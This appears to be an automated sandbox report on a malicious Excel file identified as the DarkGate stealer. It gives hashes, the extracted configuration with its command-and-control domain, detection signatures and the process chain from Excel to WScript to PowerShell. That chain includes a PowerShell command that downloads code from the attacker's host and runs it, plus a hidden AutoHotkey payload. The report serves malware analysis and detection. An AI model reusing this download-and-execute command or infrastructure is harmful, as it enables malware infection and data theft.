Analysis
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max time kernel
57s -
max time network
59s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
19-03-2024 18:01
Static task
static1
Behavioral task
behavioral1
Sample
march19-D3145-2024[1314225].xlsx
Resource
win7-20240221-en
General
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Target
march19-D3145-2024[1314225].xlsx
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Size
56KB
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MD5
60d07f9e7daf81bb5a9bb4b3bed41bfd
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SHA1
2757c793b96639f3bca33bdd07576d3ad95d063b
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SHA256
2766eeb9422ef9dccc1f208e7cbb807c57decae2b08d82995aaf897a67583c94
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SHA512
a90b3a0d6af36d1b404d687d71b8d59f234129cfefe972381af5479c4501cf2d513b7131c4107a7a0ab45d4a5722f7e0854e5ff52578b4bcfcdaae8dc5c49a45
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SSDEEP
1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTE:FSoEOfEgMNdxI5yYhgu5zBRYg
Malware Config
Extracted
darkgate
admin888
badbutperfect.com
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anti_analysis
true
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anti_debug
false
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anti_vm
true
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c2_port
80
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check_disk
false
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check_ram
false
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check_xeon
false
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crypter_au3
false
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crypter_dll
false
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crypter_raw_stub
false
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internal_mutex
WZqqpfdY
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minimum_disk
50
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minimum_ram
4000
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ping_interval
6
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rootkit
false
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startup_persistence
true
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username
admin888
Signatures
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Detect DarkGate stealer 2 IoCs
resource yara_rule behavioral2/memory/1624-72-0x0000000004B20000-0x0000000004B93000-memory.dmp family_darkgate_v6 behavioral2/memory/1624-74-0x0000000004B20000-0x0000000004B93000-memory.dmp family_darkgate_v6 -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4764 1620 WScript.exe 88 -
Blocklisted process makes network request 4 IoCs
flow pid Process 63 4268 powershell.exe 66 4268 powershell.exe 83 4268 powershell.exe 84 4268 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 1624 AutoHotkey.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoHotkey.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoHotkey.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1620 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4268 powershell.exe 4268 powershell.exe 4268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4268 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1620 wrote to memory of 4764 1620 EXCEL.EXE 102 PID 1620 wrote to memory of 4764 1620 EXCEL.EXE 102 PID 4764 wrote to memory of 4268 4764 WScript.exe 103 PID 4764 wrote to memory of 4268 4764 WScript.exe 103 PID 4268 wrote to memory of 1624 4268 powershell.exe 108 PID 4268 wrote to memory of 1624 4268 powershell.exe 108 PID 4268 wrote to memory of 1624 4268 powershell.exe 108 PID 4268 wrote to memory of 1012 4268 powershell.exe 109 PID 4268 wrote to memory of 1012 4268 powershell.exe 109 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1012 attrib.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D3145-2024[1314225].xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268 -
C:\rimz\AutoHotkey.exe"C:\rimz\AutoHotkey.exe" script.ahk4⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1624
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C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/rimz4⤵
- Views/modifies file attributes
PID:1012
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
892KB
MD5a59a2d3e5dda7aca6ec879263aa42fd3
SHA1312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA256897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
SHA512852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
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Filesize
54KB
MD5f02f0bba1f1f678da41abafd02f4c545
SHA1c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452
SHA2565aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572
SHA5128b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22
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Filesize
915KB
MD54e1b052f107d2ee5321b44fc0e107638
SHA1679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4
SHA256a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489
SHA5125c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1